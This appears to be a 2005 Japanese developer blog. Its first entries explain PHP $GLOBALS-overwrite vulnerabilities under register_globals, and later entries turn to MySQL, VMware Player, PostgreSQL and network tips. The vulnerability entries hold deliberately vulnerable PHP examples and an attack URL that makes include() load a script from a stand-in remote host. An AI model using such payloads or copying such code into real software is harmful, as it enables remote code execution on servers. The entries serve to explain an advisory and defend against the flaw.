カテゴリー: Computer

  • PHPに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – まとめ

    追記 2007/11/06: 現在のリリース版(4.4.7, 5.2.4)ではこの脆弱性は修正されていす。これより以前のPHPでも修正されていますが、別の脆弱性があるので最新リリース版の使用をお奨めします。

    追記:PHP 5.1.1、PHP 5.1.2にはPHP 5.1.0で追加された対策がなぜか削除されています。PHP5でosCommerce等、register_globals=onが必須のアプリケーションやimport_request_variable関数を使用したregister_globals=off対策を行っている古いPHPスクリプトなどを動作させる場合には注意が必要です。register_globals=onが必要なアプリケーションへの対処が参考になります。

    よろしければWebサイトセキュリティ対策入門も参考にしていただけると幸いです。リンク先に目次と書籍の紹介を記載しました。


    Hardened-PHP Projectのセキュリティアドバイザリ

    http://www.hardened-php.net/advisory_202005.79.html (以下アドバイザリ)

    および

    http://www.hardened-php.net/globals-problem (以下ホワイトペーパー)

    について誤解があったため混乱させてしまったので調査した結果のまとめを書きます。結論から言うとこのアドバイザリはregister_globals=on環境のみ影響を受けると考えられます。ホワイトペーパーで指摘されている$GLOBALS書き換えによるコードの挿入等のコード実行を伴うセキュリティ上の問題は、アドバイザリによって指摘されている$_FILESの初期化時に$GLOBALSを上書きできる事により発生する場合もあります。ユーザが記述したコードが原因で$GLOBALSを書き換えれる場合もあります。
    (ホワイトペーパーでは$_FILES以外に、古いPHPバージョンの$_GET/$_POST/$_COOKIEの$GLOBALS書き換え問題についても指摘しています)

    2つの問題を同時に説明すると混乱の元ですので別々に説明します。攻撃例を説明した方が解りやすいので私が典型的と考えた攻撃例も付けました。

    問題1 -「$_GET/$_POST/$_COOKE/$_FILESの初期化によって$GLOBALS配列が上書きされる問題」
    不具合:register_globals=on設定の場合、$_GET/$_POST/$_COOKIE配列の初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.3.10以下、PHP 5.0.3以下)register_globals=on設定の場合、$_FILESの初期化に問題があり$GLOBALS配列を書き換えてしまえる。(PHP 4.4.0以下、PHP 5.0.5以下)

    この不具合の影響:例えば、システムが設定する$_SERVER[REMOTE_ADDR]が信頼できなくなりPHPレベルでのIPアドレスベースの認証等は役に立たなくなる。$_SERVER[SCRIPT_FILENAME]をライブラリパス指定に利用している場合、リモートスクリプト実行が可能になる場合がある。

    備考:この問題PHPが自動的に初期化する$_GET, $_FILES等の配列初期化時に発生します。$_SERVERの改ざんの影響を除くと、グローバル変数を利用する前に初期化するようプログラムされている場合には影響を受けません。

    問題1を利用した攻撃例 -「$_SERVER[‘SCRIPT_FILENAME’]の改ざん」
    スクリプトのライブラリへのPATHを指定する為に$_SERVER[‘SCRIPT_FILENAME’]等を利用している場合、スクリプトの内部構造を知らなくてもブルートフォース攻撃でサーバ上のPHPスクリプト対してリモートスクリプトの実行を試みることが可能となる。

    問題となるようなコードの例

    <?php
    // 呼び出されたスクリプトのディレクトリを取得
    define(‘LIBPATH’, dirname($_SERVER[‘SCRIPT_FILENAME’]) . ‘/lib/’);

    // $_SERVER[‘SCRIPT_FILENAME’]はサーバが設定する値なので信頼できる
    // はずだが丸ごと$GLOBALSを書き換えられた場合信頼できない。

    // ライブラリの初期化
    include(LIBPATH . ‘init.php’);

    // 攻撃者はLIBPATHに”http://badserver.example.com/bad-script.php\0″
    // 等を設定してリモートスクリプトを実行できる
    ?>

    問題2 -「PHPスクリプト中で$GLOBALS配列が上書きされる問題」
    不具合:register_globals=on設定の場合、ローカルスコープでもimport_request_variables関数、extract関数、parse_str関数、foreach等で$GLOBALS配列の書き換えが可能となる。グローバルスコープではregister_globals設定に関わらず$GLOBALS配列の書き換えが可能となる。

    この問題の影響:既に初期化済みのグローバル変数が汚染された結果としてリモートスクリプトの実行などが可能となる場合がある。

    備考:効果的な攻撃には、攻撃者がスクリプトの内部構造を知っている必要がある。ホワイトペーパーにあるようにPEAR.phpも攻撃の対象となる。少なくともPHP 5.0.4ではregister_globals設定のon/offに関わらずmport_request_variables関数、extract関数、parse_str関数を利用しても$GLOBALS配列のローカルスコープ(関数内)での書き換えはからは保護されます。foreach等による$GLOBALSの書き換えも保護されます。しかしグローバルスコープではregister_globals=offであっても保護されません。

    問題2を利用した攻撃例 -「$GLOBALS変数の改ざん」
    $GLOBALSの改ざんによりPEAR.phpを利用しリモートスクリプトを実行する

    問題となるようなコードの例

    <?php
    // PEARライブラリを初期化
    include ‘PEAR.php’;

    // 古いコードの実行のためにregister_globals設定に関わらずユーザ
    // 変数をグローバルスコープにインポート
    // (このようなコードがある事自体がセキュリティホールですが例として)
    import_request_variables(‘gp’);

    // 本来はシャットダウン関数として登録するつもりのない関数
    function bad_function() {
    // register_gloabls=offが前提。$GLOBALSへのアクセスは安全(なはず…)
    include $GLOBALS[‘some_path’] . ‘/some_file.php’;
    }

    // 攻撃者は 関数引数がinclude/requireに利用されている関数を
    // $GLOBALS[‘_PEAR_shutdown_funcs’]
    // に攻撃用の外部スクリプトを呼び出すよう
    //http://target/?GLOBALS[_PEAR_shutdown_funcs][0]=[bad_function][]&GLOBALS[some_path]=http://bad.example.com/bad.php
    // 等としてリモートスクリプトを実行する。
    ?>

    攻撃には色々なバリエーションが考えられます。例えば、画像ファイルのアップロードをサポートしているサーバの場合で画像が保存されているパスが判っていると、allow_url_fopen=offに設定されていても攻撃が可能になります。細工した画像ファイルをアップロードしローカルの画像ファイルとして保存されるファイルにPHPスクリプトを埋め込み、ローカルファイルシステムから攻撃用のスクリプトを読み込む攻撃が可能となります。
    (PHPスクリプトで画像形式をチェックしていてもほんの少しファイルのヘッダ部分を加工するだけでPHPスクリプトを画像ファイルとして取り扱わせる事が可能です。)

    この様に特定の条件を満たせば比較的簡単にリモートからの任意スクリプトの実行攻撃が可能になります。「register_globals=onでも安全にプログラムできる」という議論がありましたが古いPHPでregister_globals=onで安全なPHPスクリプト、それもある程度複雑なPHPスクリプトを書くのはかなり難しいと思います。さらに古いPHPのregister_globals=onサポートには非常に大きなセキュリティホールがあったと言えます。古いPHPでregister_globals=onで運用しているWebサーバの危険度はかなり大きいと言えます。

    追記:今時register_globals=onが必要なオープンソース製品は無い、と思っていたのですが見つけてしまったので追記します。register_globals=on設定が必要なオープンソース製品の場合はプログラムの内部構造が公開されているため脆弱性があるPHPで運用するのは無謀です。ある製品のソースをさっと斜め読みしたのですがリモートスクリプト実行が可能となる箇所を簡単に(約5分で)見つけることが出来ました。

    PHP 4.2以降はregister_globals=offがデフォルト設定です。register_globals=offで運用している限り大きな影響は無いと思いますが、一部の古いスクリプト実行の為に仮想ホストでregister_globals=onになっていたり、不適切なimport_request_variables関数などの使用が無いか確認する方が良いと思います。

    参考までに主なPHPの脆弱性をリストアップしました。比較的最近、addslashes関数に致命的なバグも見つかっています。escape_shell_args関数やpg_escape_string関数等を適切な関数を利用していれば良いのですが古いスクリプトではaddslashesが利用されている場合があります。SQLインジェクション等に注意が必要です。strip_tags関数にも同様のバグが見つかっています。strip_tags関数でクロスサイトスクリプティングを防いでいるサイトも要注意です。

    最後に、register_globals=OffでPHPを運用し、古いPHPスクリプトに対して安直なregister_globals=Off対応を行っていないWebサイトの管理者の方には無用に大きなご心配をおかけした事をお詫びいたします。

    参考:
    PHPの脆弱性リスト
    http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8
    簡易な対策
    http://blog.ohgaki.net/index.php/yohgaki/2005/11/12/register_globals_ona_ai_eb_a_oa_ca_a_oam

    過去の関連エントリ
    http://blog.ohgaki.net/index.php/yohgaki/2005/11/03/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_1
    http://blog.ohgaki.net/index.php/yohgaki/2005/11/02/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp

  • PHPの現行リリースに重大な脆弱性(PHP4.4.0以下、PHP5.0.5以下) – その2

    追記:まとめ用のエントリも追加しました下記URLもご覧ください。

    http://blog.ohgaki.net/index.php/yohgaki/2005/11/09/phpa_rc_fei_a_oa_oa_fa_sa_le_acsa_oe_afp_2


    まず先のブログエントリで私が誤解していたため解りづらい状態になっていました。register_globals=offであればアドバイザリ(http://www.hardened-php.net/advisory_202005.79.html)の影響は受けません。この場で深くお詫びいたします。

    いくつかのパターンが考えられますが今回Hardened-PHPプロジェクトからのアドバイザリで指摘されている問題によって影響を受ける環境は次のようになります。

    影響を受ける環境1

    • register_globals=on に設定しているPHP4,PHP5
    • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
    • http://www.hardened-php.net/advisory_202005.79.html

    影響を受ける環境2

    • parse_str関数を1つの引数のみでユーザが送信したデータに対して使用した場合
    • 未パッチのPHP – PHP 4.4.0以下、PHP 5.0.5以下
    • http://www.hardened-php.net/advisory_192005.78.html

    アドバイザリより参照先とされたリンク先の問題の方が問題です。安全なプログラミングをこころがけているプログラマであれば脆弱なコードを書くことはないと思いますが、後で影響を受ける環境/プログラムについてもう少し解りやすく記述します。

    http://www.hardened-php.net/globals-problem

    影響を受ける環境3

    • import_request_variables等を使ってスコープ内にユーザが送信した変数を初期化しているプログラムを使用している(実装の違いからPHP4とPHP5、パッチの有り無し、バージョン、global_register設定で影響範囲が違う)

    環境1のregister_globals=offはPHP4.2からのデフォルトであるため現在register_globals=onで運用しているシステムは無いと思いますが、register_globals=onでなければ動作しないアプリケーションの場合、直接影響を受けるので直ぐにアップデートが必要です。環境2のアドバイザリは事例が限定されていますがregister_globals=off設定でもregister_globals=onに変えてしまう脆弱性です。parse_str関数を引数1つのみで使う事は無いと思いますが一旦register_globals=onに設定が変わるとプロセスが終了するまでそのままになってしまいます。環境3はPHP本体の脆弱性とPHPスクリプトに作ってしまう脆弱性です。

    Stefanさんの環境1に対するアドバイザリがCriticalとして設定されているのは次の理由からと考えられます。

    • 問題が発見されるまでは安全と考えられていたグローバル変数を利用したコードが危険なコードであること
    • PHP 4.4.1以前に添付されているPEAR.php等が攻撃に対して脆弱であること
    • 古いPHPとコードと使用している組織が多いこと
    • ワームなどが発生する可能性があると考えていること

    # 環境2のparse_str関数の問題がLowレベルのアドバイザリとしてリリースした事
    # から考えると環境1をCriticalレベルのアドバイザリとしてfile uploadの問題
    # を取り上げるのはどうかと思います。言い訳になりますが同時に出されたアド
    # バイザリのレベル、参考リンクと必要なパッチを見て誤解してしまう、という
    # 失敗をしてしまいました。

    典型的な環境3のようなプログラムはregister_globals=onである事を仮定していたレガシーなコードをregister_globals=off環境でも動作するように修正したプログラムと思います。新しいプログラムでもimport_request_variables関数等を利用した古いプログラミングスタイルのプログラムは脆弱になります。import_request_variables関数を利用しなくても自前でforeach文などでユーザ入力をスコープ上に展開した場合も脆弱になります。(hardened-phpの場合、このようなケースでも対応しているそうです)

    対策としてはPHP本体とPEARをバージョンアップしできる限り安全な状態も必要ですが、PHPコードの再検査、特にレガシーなPHPスクリプト、を行い危険なユーザ変数のスコープ(クラス、ローカル、グローバル全て)への代入が無い事を確認する必要性があります。この問題をPHP本体のみで対処できれば良いのですがすべては望めません。

    function bad1() {
      import_request_variables('g'); // GETの変数をローカルスコープに展開したい
      // prefixを付けないと$GLOBALSなどを書き換えられる可能性がある
    }
    
    function bad2() {
      forearch($_GET as $k=$v) $$k=$v;
      // import_request_variables('g')と同じ
    }
    

    確かにアドバイザリにあるようなPHP本体の脆弱性が影響する部分もあるのですが、ホワイトペーパーで指摘されているユーザのコード(PHPで書いたスクリプト)の方が問題と思います。上記の様なコードは非常に危険であるため古いコードには十分注意が必要と思います。

  • なか見!検索 – Amazonでも中身が見れる

    使用許諾は随分前だったのですがやっとAmazonの本文参照サービスがスタートしたようです。「はじめてのPHP言語プログラミング入門」も中身が見えるようになりました。

    本に表記されているページ数で言うと20ページまで見ることができました。個人的にはもっと見えるようになっている方が良いと思います。

    「はじめてのPHP言語プログラミング入門」はプログラミング初心者には不評、プログラミング経験者には好評、と評価がはっきり分かれる本なのでネットでもう少し読めた方が読者満足度が増して良いと思うのですが…

  • MySQL 4.1, 5.0の文字化け回避

    日本人には必要なオプションがmysqldのオプションに追加されたようです。4.1.15、5.0.15以降なら使えるそうです。

    A new command line argument was added to mysqld to ignore client character set information sent during handshake, and use server side settings instead, to reproduce 4.0 behaviour (Bug #9948):

    mysqld –skip-character-set-client-handshake

    ちょっと乱暴ですがPostgreSQLなら「initdbのオプションに–no-localeを付ける」にあたいするくらい重要かも知れません。

  • 今日から新潟 – 新潟オープンソースカンファレンス2005秋

    今日から新潟です。

    明日の「新潟オープンソースカンファレンス2005秋」の講師をさせていただくのですが移動時間の関係で今日移動します。
    # 移動時間を言い訳にした飲み会を開催とも言われてますが… ;)

  • PHPで記述されたnanoftpd

    PHPで記述されたWebサーバ、nanowebが公開されたのは随分前で確かsoket関数に地雷が沢山埋まっている頃だったと思います。地雷にもめげずよく作ったものだ、と関心した事を覚えています。

    PHPで記述されたFTPサーバ(nanoftpd)公開されていたんですね。PHPは使えるけどFTPは使えないサーバに便利かも知れないですね。

  • MySQL5リリース

    #ちょっと遅いのですが自分用のメモとして。

    10/24にMySQL5が正式リリースされました。

    新しい機能として

    • ストアドプロシージャ
    • トリガ
    • カーソル
    • スキーマ
    • XAトランザクション

    サポートされています。

    FEDERATED Tablesと呼ばれる他のMySQLサーバのテーブルとリンクする機能も追加されたようですがこれはPostgreSQLのdblinkと同類の機能ですね。

    dblink/
    ここには2つの関数が提供されています。1つ(dblink())はリモートデータベースに 対して実行したいSQLのクエリーの結果をポインタを受け取るものです。引数を2つ (接続するデータベースを標準のlibpq形式で記述したものと実行したいSQL文)渡すだけで リモートデータベースから結果を受け取ることができます。もう1つはdblink()の結果から 各フィールドの結果を文字列で返すものです。構文や使用例は、このディレクトリにある README.dblinkを参照してください。

    http://www.sraoss.co.jp/PostgreSQL/7.2/contrib.html

  • PHPのlintモード

    エラーハンドラでE_ERRORを処理できるようにして関数名などのタイポに対応できても、タイポによる構文エラーに対処できなければ意味が無いよね?と言う事でlintモードの紹介です。

    随分前のPHPからlint(構文をチェックするモード)はあったのですがあまり使われていない(?)ような気がします。実際、かなり長い間壊れていた事もあります。最近のPHPのlintモードは壊れていないので-lオプションを使ってチェックすれば思わぬ構文エラーによるスクリプトの停止も免れます。

    いくらエラーハンドラでエラーをwebmasterに通知していても構文エラーには無力です。特にアプリの新規作成時や大量の変更がある場合にはlintモードを使う方が良いでしょう。詳しくはWikiに書きました。

  • ユーザ定義エラーハンドラの拡張パッチ

    最近のPHPはE_ERROR(未定義の関数呼び出しなどで発生)をユーザ定義エラーハンドラで処理できません。これはE_ERRORが発生した場合、必ずeixtを呼び出しスクリプトの実行を停止しないと誤作動する問題に対処した為です。

    随分前(PHP 4.3がリリースされた頃)からこんな感じでパッチを書けばよいです、と紹介はしていたのですがWikiに書きました。よろしければご利用ください。ユーザ定義エラーハンドラに問題(E_ERRORが発生する等)が無ければE_ERRORでexitすれば問題は発生しないはずです。万が一、関数名をタイポしていてもエラーページを表示しwebmasterに通知する処理などをエラーハンドラに定義できるので有用です。

  • php内部でのmmapの使い方

    遅ればせながらPHP 5.0.5使っていて直しているだろう、と思い込んでいたバグが直っていない事に気が付きました。

    PHP内部のphp_stream_passthru()関数はreadfile()やfpassthru()関数に利用されているのですがmmapの使い方がいい加減です。PHP 4.3.xのバグレポートでreadfile()で大きなファイルが読めない旨のバグレポートがあったので全てのブランチで直っている、と思っていたのが間違いでした。

    mmapは名前通りファイルをメモリにマップする関数です。メモリマップすることにより典型的なファイルI/Oコードに必要なバッファへのコピー、その後の出力、というステップがメモリからの読み出しと同時に出力、とバッファコピーが減るメリットがあります。

    メモリにマップするので色々制限があります。特に32bitシステムでは小さいファイルしか(と言っても2GBくらいのファイルなら取り扱えますが)取り扱えない、メモリ圧迫する(2GBのファイルをマップすると、2GB mallocが失敗するなど)の問題があります。さらに比較的大きなファイルを実際に読み出すとスワップの嵐になるシステムも… 当たり前といえば当たり前の制限です。

    と前置きしたのでPHP 5.0.5でどうなっていたかと言うと「mmapをサポートするシステムの場合、ファイル全体をマップする」ようになっています。当然前述のような問題が発生します。そこで2MB以上のファイルはmmapできないようにしています…

    PHPAPI char *_php_stream_mmap_range(php_stream *stream, size_t offset, size_t length, php_stream_mmap_operation_t mode, size_t *mapped_len TSRMLS_DC)
    {
    SNIP
    /* For now, we impose an arbitrary 2MB limit to avoid
    * runaway swapping when large files are passed thru. */
    if (length > 2 * 1024 * 1024) {
    return NULL;
    }

    別にこれ自体はそれほど悪い事(2MBなどと非常に小さい値にしている事は除いて)ではないのですがこのおかげでphp_stream_mmap_range()を利用する、恐らく、ほとんどの関数で2MB以上のファイルを正しく取り扱えなくなっているようです。

    中途半端に使える物は使わない方が良いのでmmapを使わせないようにするには

    – PHPのランタイムからはstreamのオプションでmmapを使わないよう全てのスクリプトで設定する(iniオプションが無い!)
    – 次のパッチを当ててPHPをリビルドする

    等として回避する必要があります。

    diff -ur php-5.0.5.orig/main/streams/php_stream_mmap.h php-5.0.5/main/streams/php_stream_mmap.h
    — php-5.0.5.orig/main/streams/php_stream_mmap.h 2004-02-20 17:22:12.000000000 +0900
    +++ php-5.0.5/main/streams/php_stream_mmap.h 2005-10-23 10:23:56.492890384 +0900
    @@ -62,7 +62,7 @@

    /* Returns 1 if the stream in its current state can be memory mapped,
    * 0 otherwise */
    -#define php_stream_mmap_possible(stream) (!php_stream_is_filtered((stream)) && php_stream_mmap_supported((stream)))
    +#define php_stream_mmap_possible(stream) 0

    BEGIN_EXTERN_C()
    PHPAPI char *_php_stream_mmap_range(php_stream *stream, size_t offset, size_t length, php_stream_mmap_operation_t mode, size_t *mapped_len TSRMLS_DC);

    きちんと直すの事も簡単(チャンク単位でmap, unmapを繰り返す)なのですがとりあえず情報として…

    # この問題、開発者が理解してないかも…

  • VMware Playerを使ってみる

    やっとVMware Playerがダウンロードできました。
    Windowsバイナリ、Linux RPM、Linux tarがダウンロードできるようになっていました。
    マニュアルのページを見るとPDFマニュアルには日本語版もありましたがVMware Playerの日本語マニュアルはまだのようでした。

    VMwareのWebサイトによると基本機能(Key Features)としては以下であるとしています。

    * Run any virtual machine. Run virtual machines created by VMware Workstation, GSX Server or ESX Server. VMware Player also supports Microsoft virtual machines and Symantec LiveState Recovery disk formats.
    * Revert to previous state. Revert virtual machines to a previous ‘clean’ state within seconds.
    * Access host PC devices. Use host CD/DVD drives, network adapters, and plug-and-play USB devices.
    * Copy and paste. Copy text and files between the virtual machine and the host PC.
    * Drag and drop. Drag and drop files between a Windows host PC and a Windows virtual machine.
    * Shared folders. Use shared folders to easily share files between virtual machine and the host PC.
    * Multiple networking options. Virtual machines can share or obtain new IP addresses or be isolated from the network and host.
    * 32- and 64-bit host and guest operating system support. Run a wide variety of virtual machines containing 32- and 64-bit operating systems simultaneously on the same physical PC. Compatible 64-bit guest operating systems include select Microsoft Windows, Red Hat, SUSE, and FreeBSD distributions.
    * Adjustable memory. Tune virtual machine memory for optimal performance.
    * Configurable shutdown. Power down or suspend the virtual machine when closing VMware Player.

    普段はLinux版VMwareしか使っていないのですが、実はこのPlayerのアナウンスが出る前日にVMware for Windowsを追加購入しています。VMware PlayerをWindows XPホスト、Windows 2000ゲストで使ってみた感想は「VMware Playerで十分だった orz」です。VM再起動時に自動的に初期状態に戻るような事もありません。Snapshotは取れないようですがVMのファイルを保存しておけばsnapshot代わりになるのであまり困らないでしょう。

    気を付けないとならないのはFDD、CDROMなどのデバイスです。VMware Playerの名前の通りVMの設定をメモリ以外は全く変更できないようです。当然ですがWindowsとLinuxではデバイスの取り扱いが異なるのでLinuxで作成した仮想マシンはWindows上でも動作するのですがデバイスの再作成が必要になります。(Linuxで作成したVMのFDD,CDROMを削除してWindows上でFDD,CDROMを追加するなど)今時FDDは必要も無いかもしれませんがCDROMが使えないと困ると思います。VMware Player用にVMを配る場合は、Windowユーザ用、Linuxユーザ用、2種類用意する方が良いと思います。デバイスが無いというエラーを表示させたくない場合は思い切りよく予めFDDとCDROMデバイスを削除しておいても良いと思います。

    広く公開するにはメモリの大きさにも注意が必要かも知れません。試していないので何とも言えませんが1GBのメモリを割り当てているとメモリが少ないシステムでは困った事になるような気がします。「Adjustable memory. Tune virtual machine memory for optimal performance.」とあるので大丈夫なのかも知れません。一応 VMware Playerでも「Player->Troubleshoot->Change Memory Allocation…」からメモリサイズだけは変更できるようになっています。

    VMwareToolsのインストーラはVMware Playerには付属していないように見えます。VMwareToolsをインストールしておいた方が良いと思いますが、Key FeaturesにはVMwareToolsがインストールされていないと利用できない機能が記述されているのでもしかしたらインストールする方法があるのかも知れませんね。どちらにしてもVMwareの機能を十分発揮するにはVMwareToolsのインストールは必須です。VMware Workstationでインストールしておくべきでしょう。

    当り前と言えば当り前ですが画面サイズは自由に変更できます。少し驚いたのはVMware Playerウィンドウ右上あたりにあるVMwareアイコンをダブルクリックすると画面が最大化されWindowサイズも自動的に解像度に合わせて調整された事です。(1024×768->1400×1050) 最大化した画面でもVMware Playerのツールバーのような物が画面上に表示されていました。このツールバーは制御がホストOSにつながっています。ゲストOSのウィンドウを最大化してもツールバーの下にウィンドウが表示されて不便だなと一瞬思いましたが、このバーの左にある押しピンアイコンをクリックするとWindowsの「タスクバーを自動的に隠す」と同じ様な感じで隠れてくれるようになりました。この機能意外に便利です。このあたりの動作はVMware Workstationと動作が異なります。VMware Workstationでも似たような動作になると良いですね。

    最後にWindowsホストではVMware WorkstationがインストールされているとVMware Playerはインストールできないようです。試す場合は予めVMware Workstationをアンインストールしておく必要があるようです。
    # RPM版 LinuxはVMware Workstationとconflictするのかな?

  • ついに出た! 無料のVMware Player

    VMwareからの案内メールが届きました。「ついに出た! 無料のVMware Player」が率直な感想。早速使ってみよう、と思ったらサイトが混んでいて….

    しかし無料で使えるのは良いのですがMSさんは困ったことに… しかしVMware Playerが出なくても遅かれ早かれ同様の問題が出てきますからね。

    しかしこれは企業にとって革命的なインパクトを持っていますね。今までレガシーシステム(Win95用アプリなど)を維持するためにVMware Workstationを購入していた所は多いと思います。

    まだサイトが混んでいてダウンロードさえ出来ないのですが仮にスナップショットを利用した半読み込み(次回起動時には全ての記録が消える)ような物であっても使い道はありますね。例えば、SandBoxとしてブラウジングするのはVMware Player上のOSのみにするとスパイウェアやウィルスに感染するリスクを低減することができます。

    多少の制限があるかもしれませんがVMの実行だけなら約189ドルが無料になるのですからVMware Playerを使いますよね。VTテクノロジが一般化する前に「VMware一人勝ち」の構図を作ることがVMware Player投入の意図かな?

  • PostgreSQL 8.1は”本当”に速い

    @ITのDatabase Watch 10月版に「PostgreSQL 8.1は”速い”とうもっぱらのうわさ」と記事があります。

    「うわさ」ではなく「本当」に8.1は速いです。

    ミッションクリティカルなシステムでpgpoolを使用している所も多いと思いますが、8.1+pgpoolの相性は良いようです。pgpool無しで直接PostgreSQL8.1にアクセスした場合、pgpoolでPostgreSQL 8.1 2台でロードバランスさせてベンチマークするとINSERT、UPDATE、SELECT全てのケースで処理効率が向上している事が分かります。特に
    SELECTのみクエリは100%以上の効率化となるベンチマーク結果(私が計測したケースでは102%)となる場合もあります。
    # つまり2台にした場合、2台分よりも速くなるケースがある。
    # 負荷を分散させたため各サーバがより効率良くクエリを実行できた
    # ため論理値以上である102%の速度向上が見られたと考えられます。

    私は試していませんが片岡さんに聞いたところ8.1では同時接続数が増えてもスループットの低下が少ないという情報も聞きました。500接続くらいではあまり速度低下が発生しないそうです。

    私も8.1はまだまだテスト中ですがPostgreSQLの性能でお困りの方は8.1をテストしてみてはいかがでしょうか?

  • coLinuxのパーティションを大きくする

    備考:かなり古いブログですが公開し忘れしていた分です。

    coMomongaのパーティションは3GBで小さく手狭になってきたのでパーティションを大きくしようと思い調べてみました。

    coLinuxのパーティションサイズを変更するにはTopoResizeが利用できるようです。このツールを使ってディスクイメージも作成できるようです。折角TopoResizeがあるので試してみる事にしよう、と思ったらリンク先にないですね。

    他にも既に作成済みのディスクイメージをダウンロードしてしまうと言うお手軽な方法もあるようです。

    空のイメージ http://gniarf.nerim.net/colinux/blank/
    スワップ   http://gniarf.nerim.net/colinux/swap/
    ext3     http://gniarf.nerim.net/colinux/fs/

    追加するだけならこれらのファイルを使用するのが一番簡単と思います。

    Linuxを持っている方なら

    dd if=/dev/zero of=colinux.img bs=1024 count=1G
    mkfs.ext3 colinux.img

    等としてもイメージが作成できそうです。odで最初の方のダンプしてかるーく最初方だけ見ただけなので実際には試していませんが。特別なデータは書いてなさそうだったので多分大丈夫でしょう。TopoResizeの様にext2/ext3パーティションの拡張等もLinuxにイメージを持ってきて普通にリサイズすれば出来そうです。

    TopoResizeがあれば試してみたかったのですが仕方が無いのでLinux上で拡張してみる事にしました。

    参考
    http://wiki.colinux.org/cgi-bin/ColinuxImageTools

  • Bフレッツで繋がらないサイトが…

    先日、linux kernel 2.4で構築していたfirewallをkernel 2.6にアップグレードするとmicrosoft.comやitmedia.co.jpにhttpでアクセスできない。

    直ぐにMTUの問題点かな、と思い「linux mtu」でググってみると一発でした。

    iptables -I FORWARD -p tcp –tcp-flags SYN,RST SYN -j TCPMSS –clamp-mss-to-pmtu

    で解決。

    microsoft.com、itmedia.co.jpはICMPのMTU Path DiscoveryパケットなどをフィルタしているのでMTUを見付けるパケットが通らない->接続できない、となります。上記のオプションを付けると問題を回避できます。
    # しかし前の環境では問題なかった事が気になりますが今更深追いする
    # 必要もないので気にしない事にしました。
    # ちなみにネットワーク接続はBフレッツ+OCN+固定IPの環境です。

    さて、WindowsUpdateを実行しないと。

    追記:
    やっぱり気になったので前の設定を見てみるとpppoe.confに

    CLAMPMSS=1412

    を入れていましたね。今の設定では/etc/ppp/pppoe.confでは無く、/etc/sysconfig/network-script/ifcfg-ppp0を使用しているのですが設定をコピーする際にもれていたようです。